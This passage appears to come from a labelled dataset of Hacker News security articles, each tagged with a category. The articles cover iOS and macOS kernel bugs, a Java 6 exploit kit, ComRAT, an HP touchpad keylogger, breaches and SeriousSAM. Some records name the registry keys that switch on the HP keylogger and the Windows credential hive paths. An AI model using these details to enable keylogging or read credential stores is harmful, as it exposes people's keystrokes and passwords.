The Project Zero researcher responsibly reported these vulnerabilities to Apple in October, which were patched by the company with the release of iOS 11.2 on 2nd December.

While Beer says he has successfully tested his proof of concept exploit on the iPhone 6s and 7, and iPod Touch 6G, he believes that his exploit should work on all 64-bit Apple devices.

Another security researcher confirmed that the exploit released by Beer also works on his Apple TvOS 11.x and TV 4K running iOS 11.1.2.

What's worse? Since Apple's iOS mobile operating system and macOS desktop operating system share the same code base, the kernel for macOS is also vulnerable to the bug, according to a report published by Project Zero on Google's Chromium Blog.

Beer said he has also successfully tested the vulnerability on macOS 10.13, running on a MacBook Air 5.2, which Apple patched in macOS 10.13.1.

Earlier versions of the operating systems are still vulnerable to the exploit, which basically grants complete core access to the operating system and that is really what the jailbreak community requires.

Although we have not heard any news about iOS jailbreaks from the jailbreak community from very long, Beer's exploit could be the basis for a future iOS 11 jailbreak, allowing iPhone and iPad users to install third-party OS customizations via apps that are restricted by Apple.

If iOS 11.1.2 jailbreak surfaces in upcoming days, you can still downgrade to iOS 11.1.2 using iTunes even if you have updated to iOS 11.2 because Apple is still signing the operating system.

",Vulnerability
Warning : Java 6 vulnerable to zero-day exploit; added to Neutrino exploit kit,https://thehackernews.com/2013/08/Java-6-zero-day-Neutrino-exploit-kit.html,"Hackers are using a new exploit for a bug in the out-of-date but popular Java 6 platform to attack victims, and has been added to a commercially available Neutrino exploit kit.

The use of Java 6 still is prevalent, opening up a significant number of users to the threat. F-secure analyst Timo Hirvonen warned about the exploit over Twitter, advising that he had found an exploit in the wild actively targeting an unpatched vulnerability in Java 6, named CVE-2013-2463.
The exploit's proof-of-concept was made public last week, prior to in-the-wild attacks surfacing on Monday. Oracle is aware of the hole but, since Java 6 is no longer supported, the company will not patch the issue.

The vulnerability lies in Java Runtime Environment's 2D sub-component, which is used to make two-dimensional graphics. Because no patch is available, the exploits provides cybercriminals and other attackers an effective vehicle to launch attacks targeting users and organizations using Java 6.

The Neutrino crimeware kit was first spotted in March 2013, when it was identified as the source of a series of attacks that were exploiting Java vulnerabilities to install ransomware on victims' PCs, freezing them until users paid a fine that was supposedly being levied by the FBI and other law enforcement agencies.

The impact of this threat may be less for usual Internet users than for organizations/entities, who may not be quick to migrate to the latest software version due to business and/or operational continuity issues.

Users should update their Java installations to the latest revision of version 7, which does not suffer from the issue. Users who don't need Java in their everyday tasks should uninstall the software altogether.

",Vulnerability
"Yahoo! pays $24,000 to Hacker for finding Security Vulnerabilities",https://thehackernews.com/2015/03/yahoo-bug-bounty.html,"Yahoo! has offered $24,000 to a security researcher for finding out and reporting three critical security vulnerabilities in its products including Yahoo! Stores and Yahoo!-hosted websites.

While testing all the company's application, Mark Litchfield, a bug bounty hunter who often works with different companies, discovered three critical vulnerabilities in Yahoo!'s products. All the three vulnerabilities have now been fixed by Yahoo!.

THREE CRITICAL SECURITY VULNERABILITIES
The first and most critical vulnerability gives hackers full administrator access to Yahoo!'s e-commerce platform, Yahoo! Small Business, a portal that allows small business owners to create their own web stores through Yahoo! and sell merchandise.

According to the researcher, the flaw in the service allowed him to fully administrator any Yahoo store and thereby gain access to customers' personally identifiable information, including names, email addresses, telephone numbers.

BUG ALLOWS FREE SHOPPING
Beside allowing hackers full admin access to the web stores, the vulnerability could also leverage an attacker to rig a user-run eCommerce web store to let them shop for free, or at a huge discount, Litchfield claimed.
""We could also shop for free by either changing the prices, or creating our own discount code,"" Litchfield said in an email describing the attack. ""Also, we could place an order, then once received, go and refund our money.""
A separate but related vulnerability in Yahoo! Stores, second flaw discovered by Litchfield, allows an unauthorized user to edit Yahoo-hosted stores through the app, thereby creating a means for hackers to hijack an online website store.

Last but not the least, Litchfield discovered a critical vulnerability in Yahoo's Small Business portal that allows hackers to seize administrative access to Yahoo!-hosted websites and gain full, unauthorized access to them.

The Internet giant patched all the three bugs two weeks ago after Litchfield publicly released details and proof of concepts for the exploits on Bug Bounty HQ, a community for Bug Bounties website, established by Litchfield last month for fellow hunters to share their findings.

'ON DEMAND PASSWORD'
At recent SXSW session, Yahoo! launched 'on-demand passwords,' which it says will eliminate the need for you to ever remember your email password. Whenever you need it, the company will send you a OTP (one time password) via SMS to your mobile phone.

It's sort of two-factor authentication—without the first factor involved, as there is no need of any log-in password to enter by a user. In order to opt-in for the feature follow some simple steps:
Sign in to your Yahoo email account.
Click on your name at the top right corner to access your account information page.
Choose Security in the sidebar.
Click on the slider for on-demand passwords, in order to opt-in.
Enter your phone number and Yahoo will send you a verification code.
Enter the code.
Now, next time whenever you will sign in into your email account, Yahoo will send a password via an SMS to your phone when you need it.

Also, the end-to-end email encryption that Yahoo! promised will be available soon by the end of this year. The company gave its first demonstration of the locked down messaging system at SXSW session, and it is also delivering early source code for security researchers to analyze.

",Vulnerability
New ComRAT Malware Uses Gmail to Receive Commands and Exfiltrate Data,https://thehackernews.com/2020/05/gmail-malware-hacker.html,"Cybersecurity researchers today uncovered a new advanced version of ComRAT backdoor, one of the earliest known backdoors used by the Turla APT group, that leverages Gmail's web interface to covertly receive commands and exfiltrate sensitive data.

""ComRAT v4 was first seen in 2017 and known still to be in use as recently as January 2020,"" cybersecurity firm ESET said in a report shared with The Hacker News. ""We identified at least three targets: two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region.""

Turla, also known as Snake, has been active for over a decade with a long history of the watering hole and spear-phishing campaigns against embassies and military organizations at least since 2004.

The group's espionage platform started off as Agent.BTZ, in 2007, before it evolved to ComRAT, in addition to gaining additional capabilities to achieve persistence and to steal data from a local network.

It is now known that earlier versions of Agent.BTZ were responsible for infecting US military networks in the Middle East in 2008. In recent years, Turla is said to have been behind the compromise of French Armed Forces in 2018 and the Austrian Foreign Ministry early this year.


Newer versions of ComRAT backdoor have since ditched Agent. BTZ's USB-stick infection mechanism in favor of injecting itself into every process of the infected machine and executing its primary payload in ""explorer.exe.""

What's New in ComRAT v4?

The ComRAT v4 (or ""Chinch"" by the malware authors), as the new successor is called, uses an entirely new code base and is far more complex than its earlier variants, according to ESET. The firm said the first known sample of the malware was detected in April 2017.

ComRAT is typically installed via PowerStallion, a lightweight PowerShell backdoor used by Turla to install other backdoors. In addition, the PowerShell loader injects a module called ComRAT orchestrator into the web browser, which employs two different channels — a legacy and an email mode — to receive commands from a C2 server and exfiltrate information to the operators.

""The main use of ComRAT is discovering, stealing, and exfiltrating confidential documents,"" the researchers said. ""In one case, its operators even deployed a .NET executable to interact with the victim's central MS SQL Server database containing the organization's documents.""


What's more, all the files related to ComRAT, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS).

The ""mail"" mode works by reading the email address and the authentication cookies located in the VFS, connecting to the basic HTML view of Gmail, and parsing the inbox HTML page (using Gumbo HTML parser) to get the list of emails with subject lines that match those in a ""subject.str"" file in the VFS.

For each email that meets the above criteria, the comRAT proceeds by downloading the attachments (e.g. ""document.docx,"" ""documents.xlsx""), and deleting the emails to avoid processing them a second time.

Despite the "".docx"" and "".xlsx"" format in the filenames, the attachments are not documents themselves, but rather encrypted blobs of data that include a specific command to be executed: read/write files, execute additional processes, and gather logs.

In the final stage, the results of the command execution are encrypted and stored in an attachment (with the double extension "".jpg.bfe""), which is then sent as an email to a target address specified in the ""answer_addr.str"" VFS file.

The ""legacy"" mode, on the other hand, makes use of the already existing C2 infrastructure (ComRAT v3.x) to issue remote commands, the results of which are compressed and transmitted to a cloud service such as Microsoft OneDrive or 4Shared.

The exfiltrated data comprises user details and security-related log files to check if their malware samples were detected during a scan of the infected systems.

Based on the Gmail email distribution patterns over a one-month period, ESET said the operators behind the campaign are working in the UTC+3 or UTC+4 time zones.

""Version four of ComRAT is a totally revamped malware family released in 2017,"" ESET researcher Matthieu Faou said. ""Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn't rely on any malicious domain.""

",Malware
Apache Struts 2 Flaws Affect Multiple Cisco Products,https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html,"After Equifax massive data breach that was believed to be caused due to a vulnerability in Apache Struts, Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework.

Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS.

However, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities—one discovered earlier this month, and another in March—one of which is believed to be used to breach personal data of over 143 million Equifax users.

Some of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws.

Cisco Launches Apache Struts Vulnerability Hunting

Cisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) we reported on September 5 and the remaining three also disclosed last week.

However, the remote code execution bug (CVE-2017-5638) that was actively exploited back in March this year is not included by the company in its recent security audit.

The three vulnerabilities—CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805—included in the Cisco security audit was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues.

The fourth vulnerability (CVE-2017-12611) that is being investigated by Cisco was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system.

Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware

Coming on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them.

This could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has observed that this flaw is under active exploitation to find vulnerable servers.

Security researchers from data centre security vendor Imperva recently detected and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload.

The majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe.

Out of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to ""insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.""

This flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems.

The last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts.

Cisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services.

At the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the Cisco Bug Search Tool.

Since the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.

",Data_Breaches
Pre-Installed Keylogger Found On Over 460 HP Laptop Models,https://thehackernews.com/2017/12/hp-laptop-keylogger.html,"HP has an awful history of 'accidentally' leaving keyloggers onto its customers' laptops. At least two times this year, HP laptops were caught with pre-installed keylogger or spyware applications.

I was following a tweet made by a security researcher claiming to have found a built-in keylogger in several HP laptops, and now he went public with his findings.

A security researcher who goes by the name of ZwClose discovered a keylogger in several Hewlett-Packard (HP) laptops that could allow hackers to record your every keystroke and steal sensitive data, including passwords, account information, and credit card details.

The Keylogger was found embedded in the SynTP.sys file, a part of Synaptics touchpad driver that ships with HP notebook computers, leaving more than 460 HP Notebook models vulnerable to hackers.

Although the keylogger component is disabled by default, hackers can make use of available open source tools for bypassing User Account Control (UAC) to enable built-in keylogger ""by setting a registry value.""

Here's the location of the registry key:
HKLM\Software\Synaptics\%ProductName%
HKLM\Software\Synaptics\%ProductName%\Default

The researcher reported the keylogger component to HP last month, and the company acknowledges the presence of keylogger, saying it was actually ""a debug trace"" which was left accidentally, but has now been removed.

""A potential security vulnerability has been identified with certain versions of Synaptics touchpad drivers that impact all Synaptics OEM partners,"" HP says in its advisory, calling the keylogger as a potential, local loss of confidentiality.

""A party would need administrative privileges in order to take advantage of the vulnerability. Neither Synaptics nor HP has access to customer data as a result of this issue.""

The company has released a Driver update for all the affected HP Notebook Models. If you own an HP laptop, you can look for updates for your model. The list of affected HP notebooks can be found at the HP Support website.

This is not the very first time when a keylogger has been detected in HP laptops. In May this year, a built-in keylogger was found in an HP audio driver that was silently recording all of its users' keystrokes and storing them in a human-readable file.

",Malware
"Chrome, Firefox, Java, IE10 exploited at Pwn2Own competition",https://thehackernews.com/2013/03/chrome-firefox-java-ie10-exploited-at.html,"During the first day of Pwn2Own competition at the CanSecWest conference in Vancouver , latest versions of all major browsers were exploited by hackers.

Chrome, Firefox and Internet Explorer 10 on Windows 8 were successfully pwned by various competitors, bringing them tens of thousands of dollars in prizes.
French vulnerability research and bug selling firm 'Vupen' brought down IE10 running on a Windows 8 powered Surface Pro tablet by exploiting a pair of flaws.

Researchers Jon Butler and Nils from MWR Labs managed to exploit Google Chrome on Windows 7 and also used a kernel bug to bypass the sandbox.

""By visiting a malicious webpage, it was possible to exploit a vulnerability which allowed us to gain code execution in the context of the sandboxed renderer process. We also used a kernel vulnerability in the underlying operating system in order to gain elevated privileges and to execute arbitrary commands outside of the sandbox with system privileges."" they said. For this pwn they received $100,000 as reward.

The Java was also killed in Pwn2Own, Java cracked up to three times by three different hackers. Vupen also managed to exploit a vulnerability in Java, ""Writing exploits in general is getting much harder. Java is really easy because there's no sandbox.""

According to the participants, Chrome was the hardest target because of its sandbox and Java was the easiest target this year.

",Vulnerability
"British Airways Hacked – 380,000 Payment Cards Compromised",https://thehackernews.com/2018/09/british-airways-data-breach.html,"British Airways, who describes itself as ""The World's Favorite Airline,"" has confirmed a data breach that exposed personal details and credit-card numbers of up to 380,000 customers and lasted for more than two weeks.

So who exactly are victims?

In a statement released by British Airways on Thursday, customers booking flights on its website (ba.com) and British Airways mobile app between late 21 August and 5 September were compromised.

The airline advised customers who made bookings during that 15 days period and believe they may have been affected by this incident to ""contact their banks or credit card providers and follow their recommended advice.""

British Airways stated on its Twitter account that personal details stolen in the breach included their customers' names and addresses, along with their financial information, but the company assured its customers that the hackers did not get away with their passport numbers or travel details.

The company also said that saved cards on its website and mobile app are not compromised in the breach. Only cards that have been used by you to make booking payments during the affected period are stolen.
""We are investigating, as a matter of urgency, the theft of customer data from our website and our mobile app,"" the company said in a statement. ""The stolen data did not include travel or passport details.""
Although the statement released by the did not mention the number of affected customers, the company's spokesperson confirmed to the media that some 380,000 payment cards were compromised in the breach.

Also currently, it is not clear how the data breach occurred, but some media outlets are reporting that the breach was identified when ""a third party noticed some unusual activity"" and informed the company about it.

A spokesperson from British Airways confirmed The Hacker News that ""this is data theft, rather than a breach,"" which suggests someone with privileged access to the data might have stolen it.

British Airways also informed the police and the Information Commissioner and currently reaching out to affected customers directly.

However, the company assured its customers that the security breach has now been resolved, and its website is working normally and is now safe for passengers to check-in online, and book flights online.

The National Crime Agency is aware of the British Airways data breach and is ""working with partners to assess the best course of action.""

Air Canada also suffered a severe data breach late last month, which, along with personal data, also exposed passport number and other passport and travel details of about 20,000 mobile app customers.

",Cyber_Attack
Viber's Poor Data Security Practices Threaten Users' Privacy,https://thehackernews.com/2014/04/vibers-poor-data-security-practices.html,"Last week we reported a critical vulnerability in the world's most popular messaging application WhatsApp, that could expose users' GPS location data to hackers and was discovered by the researchers at UNH Cyber Forensics Research & Education Group.

Same Group of researchers reported new set of vulnerabilities in another most popular messaging application 'VIber'. They claimed that Viber's poor data security practices threaten privacy of its more than 150 million active users.

Cross Platform messaging app Viber allows registered users to share text messages, images, doodles, GPS Location and videos with each other, along with its popular free voice calling feature which is available for Android, iOS, Windows Phone, Blackberry and Desktops as well.

The researchers found that users' data stored on the Viber Amazon Servers including images and videos are stored in an unencrypted form that could be easily accessed without any authentication i.e.which gives leverage to an attacker to simply visiting the intercepted link on a website for the complete access to the data.
In a video, the researchers demonstrated that viber is not encrypting any data such as images, doodles, videos and location images while exchanging it with their Amazon server, that allows an attacker to capture this unencrypted traffic with man-in-the middle attack.
""The main issue is that the above-mentioned data is unencrypted, leaving it open for interception through either a Rogue AP, or any man-in-the middle attacks,"" the researcher wrote in the blog post.

An attacker can use any network testing tool such as NetworkMiner, Wireshark, and NetWitness to capture the traffic during man-in-the-middle attack.
""Anyone, including the service providers will be able to collect this information – and anyone that sets up a rogue AP, or any man-in-the middle attacks such as ARP poisoning will be able to capture this unencrypted traffic and view the images and videos received as well as the locations being sent or received by a phone."" Professor Ibrahim Baggili, and Jason Moore said.
In Whitehat style, researchers had already reported the vulnerabilities to the Viber team before publishing their findings to the blog, but haven't received any response yet.

""It is important to let the people know of these vulnerabilities, therefore, we chose to publish these results and the video in this post,"" they wrote.

",Vulnerability
Its Fail 2011 - Year of Hacks !,https://thehackernews.com/2011/09/its-fail-2011-year-of-hacks.html,"Its Fail 2011 - Year of Hacks !


According to IT security experts Year 2011 have labeled as the ""Year of the Hack"" or ""#Fail 2011"". Hacking has become much easier over the years allowing hackers to hack into systems easier then ever before, which is why 2011 had a lot of hacking happen so far. Hackers are coming up with tools as well as finding new methods to hacking faster then companies can increase their security.

Even, Every year is the year of the hacking as long as there are hackers out there ready to execute their malicious programs and attain their goals like gathering important information to the victim's computer, stealing important identities, credit card information, etc. This year 2011 could be another generation of hacking. Since every year there are always forward advancements of the tools and programs that could use by the hackers. The most important is to avoid them if you are a computer user.

RSA Hack (3/17/2011) :
Motive - Unknown attacker, although China believed to be suspect. Motive is probably espionage
Method - Advanced Persistent Threat (APT) targeted at individuals within an organization using social engineering. Malware hidden in an Excel spreadsheet exploited a zero-day (unpatched) Flash hole.
Harm - SecurID token deployments at financial, government and other sites were at risk.

Comodo Hack and several of its digital certificate resellers (3/23/2011) :
Motive - 21-year-old Iranian patriot took credit saying he was protesting US policy and retaliating against the US for its alleged involvement with last year's Stuxnet, which experts say was designed to target Iran's nuclear program.
Method - Compromise of digital certificate registry authorities led to the theft of digital certificates that are used by sites to prove they are who they are legitimate.
Harm - If they had not been revoked the faked certificates could have been used to spoof sites like Google, Yahoo,Microsoft and Skype.

Sony (Indonesia, Japan , Thailand, Greece , Canada, Netherlands, Europe, Russia, Portugal) & Sony PlayStation Network Hacked (4/6/2011-6/8/2011) :
Motive - Lulzsec ,Anonymous, Lebanese hacker Idahc and various other hackers organized the attack in retaliation for Sony attempting to identify visitors to PlayStation 3 hacker George Hotz' blog site, as well as seeking data from his Twitter and YouTube accounts as part of a lawsuit. The case was later settled out of court.
Method - Distributed Denial-of-Service (DDoS), Sql injection
Harm - Defacement of various domains of Sony and Personal information of 77 million people, including customer names, addresses, e-mail addresses, birthdays, PlayStation Network and Qriocity passwords, user names, online handles and possibly credit cards were exposed.

Fox Network's X Factor (5/7/2011) :
Attacker - Lulzsec
Harm - X factor contestants personal information exposed and internal Fox data exposed.

PBS.org - Public Broadcasting Service Hacked (5/30/2011) :
Attacker - LulzSec in retaliation over Frontline Wikileaks program they considered biased
Method - zero-day exploit in Movable Type 4
Harm - Passwords were leaked and a fake news article was published on the page.


100's of Gmail users (6/1/2011) :
Motive - Google says attack originated in China and appeared designed to monitor communications of journalists, political activists and military personnel.
Method - After stealing passwords with a phishing attack, perpetrators apparently used the passwords to change Gmail users' forwarding and delegation settings.
Harm - Attack was ""disrupted"" but it's unknown if any snooping was accomplished.

Acer Europe Hacked (6/3/2011) :
Attacker - Pakistan Cyber Army
Method - Stupidity of Server admin
Harm - Source code and user data of 40,000 people reportedly compromised.

FBI partner Infragard Atlanta Hacked (6/3/2011) :
Motive - LulzSec, in an attempt to embarrass the FBI and security firm government contractors
Harm - Site was hacked, defaced and 180 Infragard usernames and passwords were leaked.

Citigroup Hacked (6/8/2011) :
Motive and Attacker - unknown
Harm - Names, account numbers, and contact information, including e-mail addresses, were accessed during the breach, which affected about 360,000 customers.

Turkish government (6/9/2011) :
Motive - Anonymous, in opposition to Internet filtering plan
Harm - site inaccessible temporarily

U.S. Senate hacked (6/13/2011) :
Motive - LulzSec, saying it doesn't like the U.S. government
Harm - published on the Web server's directory and file structure of the Senate site

Spanish National Police (6/13/2011) :
Motive - Anonymous, in retaliation for the arrest of three people in Spain
Harm - site was inaccessible temporarily

CIA Hacked (6/15/2011) :
Attacker - Lulzsec
Harm - site temporarily down

Electronic Arts hack (6/16/2011) :
Harm - System hosting BioWare Neverwinter Nights forum is breached and user names, encrypted passwords, e-mail addresses, mailing addresses, names, phone numbers, CD keys and birth dates may have been compromised. Some unencrypted passwords believed stolen.

Sega Hack (6/18/2011) :
some Sega Pass member e-mail addresses, dates of birth, and encrypted passwords compromised.

NATO Hack (6/23/2011) :
Motive - After NATO released a report singling out Anonymous' hacktivism as a cyber threat, the group warned NATO not to challenge it.
Harm - subscribers to NATO's e-Bookshop service were urged to change their passwords after a possible compromise of usernames, passwords, addresses and e-mail addresses.

Arizona Department of Public Safety (6/23/2011) :
Motive - LulzSec said it is leaking the data to protest ""racial profiling anti-immigrant"" policies of Arizona law enforcement, specifically SB1070, which makes it a crime to be in Arizona without documentation proving United States residency. Releases another batch of data on June 29.
Harm - publicly released hundreds of private intelligence bulletins, training manuals, personal e-mail correspondence, names, phone numbers, addresses and passwords belonging to Arizona law enforcement.

Former British Prime Minister Tony Blair Hack (6/24/2011) :
Motive - TeaMp0isoN says it targeted Blair over his support for the Iraq War
Harm - contents of his electronic address book, including contact data for members of Parliament

Arizona Department of Public Safety Hack (6/29/2011) :
Attacker - Antisec
Harm - hackers release second dump of data, including more personal data on specific officers

Al-Qaeda Hack (6/29/2011) :
Harm - hackers shut down al-Qaeda's Internet communications, halting the flow of videos and statements online

Arizona Fraternal Order of Police, Fraternal Order of Police in Mesa, Tucson Hack (6/30/2011):
Attacker - Antisec
Harm - 8 Web sites defaced, documents released including passwords and e-mail addresses of 1,200 officers, some financial data of specific officers and personal e-mails

Apple Hack (7/4/2011) :
Attacker - Antisec
Method - exploited security flaw in the software Apple used
Harm - 26 admin usernames and passwords for an Apple server exposed

Fox News Twitter account Hack (7/4/2011) :
Harm - The Fox News Twitter feed was used to publish false reports that President Obama had been killed.

German Federal Police Hack (German Federal Police) :
Attacker - n0-N4m3 Cr3w
Harm - The hackers compromised a server used by the country's customs service and posted location coordinates, license plate and telephone numbers, police usernames and passwords, and a GPS application in response to government communications interception.

News Corp. sites, The Sun and News International Hack (7/18/2011) :
Attacker - Lulzsec
Harm - Hackers redirected The Sun home page to fake story about death of News Corp. owner Rupert Murdoch, and then later to LulzSec's Twitter feed, as well as redirected a News International's page with a statement on the hack to the LulzSec Twitter feed. They also released phone numbers of News Corp. employees and an e-mail address and password for former Sun editor Rebekah Brooks, who is embroiled in the mobile phone voice mail hacking scandal at News of the World.

Italian Police's National Center for Computer Crime and the Protection of Critical Infrastructure (7/22/2011) :
Attacker - Antisec
Harm - Hackers claim to have stolen more than 8 GB of internal data that was allegedly seized during police investigations, including information on the Ministry of Transport in Egypt, Ministry of Defense in Australia, Russian companies and U.S. Justice Department. They threatened to publish it online.

72 public and private organizations in 14 countries Hack (8/2/2011) :
Motive - McAfee report does not speculate, but there's a pattern in the targets which do not include China but do include political non-profits, a pro-democracy organization, the World Anti-doping Agency, and the International Olympic Committee and Olympic committees in three countries, which were targeted right before and after the 2008 Olympic Games in Beijing.
Method - targeted phishing attacks with e-mail exploit that installed a back door
Harm - National secrets, classified government data, source code, bug databases, email archives, details for new oil and gas field auctions, legal contracts, SCADA configurations and more.

Citigroup Japan hack (8/5/2011) :
Method - A source said the scheme was perpetrated by a third-party vendor that had been given access to Citi's internal systems.
Harm - Personal information of 92,408 Citigroup credit card customers in Japan was stolen and sold to third parties, the bank said.

70 U.S. law enforcement agencies and police association in Italy Hacked (8/6/2011):
Attacker - Antisec
Harm - 10GB of personal information, private e-mails, passwords, training files, data from informants, Social Security numbers and stolen credit card information


Government of Syria (8/8/2011) :
Attacker - Anonymous
Harm - Home page of the Syrian Ministry of Defense site defaced with Anonymous logo and a call for the downfall of President Bashar al-Assad.

BlackBerry maker Research In Motion (RIM) Defacement (8/9/2011) :
Attacker - Team Poison
Harm - RIM's BlackBerry blog was hacked in retaliation for RIM offering to assist London police in combating rioters, many of whom are using BlackBerrys to organize.

Hong Kong stock exchange Hack (8/10/2011) :
Harm - Hackers broke into news site of Hong Kong stock exchange, where corporate filings are published, forcing the suspension of trading for seven companies.

NOTE : List not Finished here, You can check more latest Hacking News on The Hacker News.
Source : The Hacker News Magazine - September Edition (Issue 04)

",Malware
"Uncovered: APT 'Hackers For Hire' Target Financial, Entertainment Firms",https://thehackernews.com/2020/11/uncovered-apt-hackers-for-hire-target.html,"A hackers-for-hire operation has been discovered using a strain of previously undocumented malware to target South Asian financial institutions and global entertainment companies.
Dubbed ""CostaRicto"" by Blackberry researchers, the campaign appears to be the handiwork of APT mercenaries who possess bespoke malware tooling and complex VPN proxy and SSH tunneling capabilities.
""CostaRicto targets are scattered across different countries in Europe, Americas, Asia, Australia and Africa, but the biggest concentration appears to be in South Asia (especially India, Bangladesh and Singapore and China), suggesting that the threat actor could be based in that region, but working on a wide range of commissions from diverse clients,"" the researchers said.
The modus operandi in itself is quite straight-forward. Upon gaining an initial foothold in the target's environment via stolen credentials, the attacker proceeds to set up an SSH tunnel to download a backdoor and a payload loader called CostaBricks that implements a C++ virtual machine mechanism to decode and inject the bytecode payload into memory.
In addition to managing command-and-control (C2) servers via DNS tunneling, the backdoor delivered by the above-mentioned loaders is a C++ compiled executable called SombRAT — so named after Sombra, a Mexican hacker, and infiltrator from the popular multiplayer game Overwatch.
The backdoor comes equipped with 50 different commands to carry out specific tasks (can be categorized in core, taskman, config, storage, debug, network functions) that range from injecting malicious DLLs into memory to enumerating files in storage to exfiltrating the captured data to an attacker-controlled server.
In all, six versions of SombRAT have been identified, with the first version dating all the way back to October 2019 and the latest variant observed earlier this August, implying that the backdoor is under active development.
While the identities of the crooks behind the operation are still unknown, one of the IP addresses to which the backdoor domains were registered has been linked to an earlier phishing campaign attributed to Russia-linked APT28 hacking group, hinting at the possibility that the phishing campaigns could have been outsourced to the mercenary on behalf of the actual threat actor.
This is the second hackers-for-hire operation uncovered by Blackberry, the first being a series of campaigns by a group called Bahamut that was found to exploit zero-day flaws, malicious software, and disinformation operations to track targets located in the Middle East and South Asia.
""With the undeniable success of Ransomware-as-a-Service (RaaS), it's not surprising that the cybercriminal market has expanded its portfolio to add dedicated phishing and espionage campaigns to the list of services on offer,"" Blackberry researchers said.
""Outsourcing attacks or certain parts of the attack chain to unaffiliated mercenary groups has several advantages for the adversary — it saves their time and resources and simplifies the procedures, but most importantly it provides an additional layer of indirection, which helps to protect the real identity of the threat actor.""

",Malware
Remotely controlled Malware as Browser extensions,https://thehackernews.com/2012/10/remotely-controlled-malware-as-browser.html,"""Browser extensions extend the functionality of the web browser. These extensions improve the appearance, functionality, security or other parts of the browser. Extensions were also developed with malicious intent, in order to generate revenue or just spread the code between more and more browsers. The possibility of a malicious browser extension is almost infinite, but we have not seen very powerful malicious extensions yet.""

Security researcher Zoltan Balazs has developed a remote-controlled piece of malware that functions as a browser extension. The researcher plans to release the malware's source code on GitHub during a presentation at the Hacker Halted security conference in Miami next Tuesday

This Malwaretize Browser extensions is capable of modifying Web pages, downloading and executing files, hijacking accounts, bypassing two-factor authentication security features enforced by some websites, and much more.
Balazs is also expected to demonstrate how the proof-of-concept code might be used to bypass Google's two-step verification process. The demo extension in versions for Firefox , Chrome and Safari, a version for Internet Explorer would also be feasible. The Firefox version also works on Android, albeit with reduced opportunities.

""The Firefox version can also steal passwords from the browser's built-in password manager, download and execute files (only on Windows), modify the content of Web pages in the same way that banking Trojans modify online banking websites to hide rogue transaction records, take screen shots through the computer's webcam by accessing a Flash application hosted on a Web page, act as an HTTP proxy that allows an attacker to communicate with a server on the victim's internal network, and more.""

Existing Malware of this nature will hardly been detected by antivirus programs. On the Firefox maker Mozilla is the recommendation to install new add-ons only from the official marketplace for extensions permit, as is already the case in Chrome.


",Malware
New Windows and Linux Flaws Give Attackers Highest System Privileges,https://thehackernews.com/2021/07/new-windows-and-linux-flaws-give.html,"Microsoft's Windows 10 and the upcoming Windows 11 versions have been found vulnerable to a new local privilege escalation vulnerability that permits users with low-level permissions access Windows system files, in turn, enabling them to unmask the operating system installation password and even decrypt private keys.
The vulnerability has been nicknamed ""SeriousSAM.""
""Starting with Windows 10 build 1809, non-administrative users are granted access to SAM, SYSTEM, and SECURITY registry hive files,"" CERT Coordination Center (CERT/CC) said in a vulnerability note published Monday. ""This can allow for local privilege escalation (LPE).""
The operating system configuration files in question are as follows -
c:\Windows\System32\config\sam
c:\Windows\System32\config\system
c:\Windows\System32\config\security
Microsoft, which is tracking the vulnerability under the identifier CVE-2021-36934, acknowledged the issue, but has yet to roll out a patch, or provide a timeline for when the fix will be made available.
""An elevation of privilege vulnerability exists because of overly permissive Access Control Lists (ACLs) on multiple system files, including the Security Accounts Manager (SAM) database,"" the Windows makers noted. ""An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
Successful exploitation of the flaw, however, necessitates that the attacker already has a foothold and is in possession of the ability to execute code on the victim system. In the interim, the CERT/CC is recommending that users restrict access to sam, system, and security files and delete VSS shadow copies of the system drive.
The latest disclosure also marks the third publicly disclosed unpatched bug in Windows since the release of Patch Tuesday updates on July 13. Besides CVE-2021-36934, two more weaknesses affecting the Print Spooler component have also been discovered, prompting Microsoft to urge all users to stop and disable the service to protect systems against exploitation.
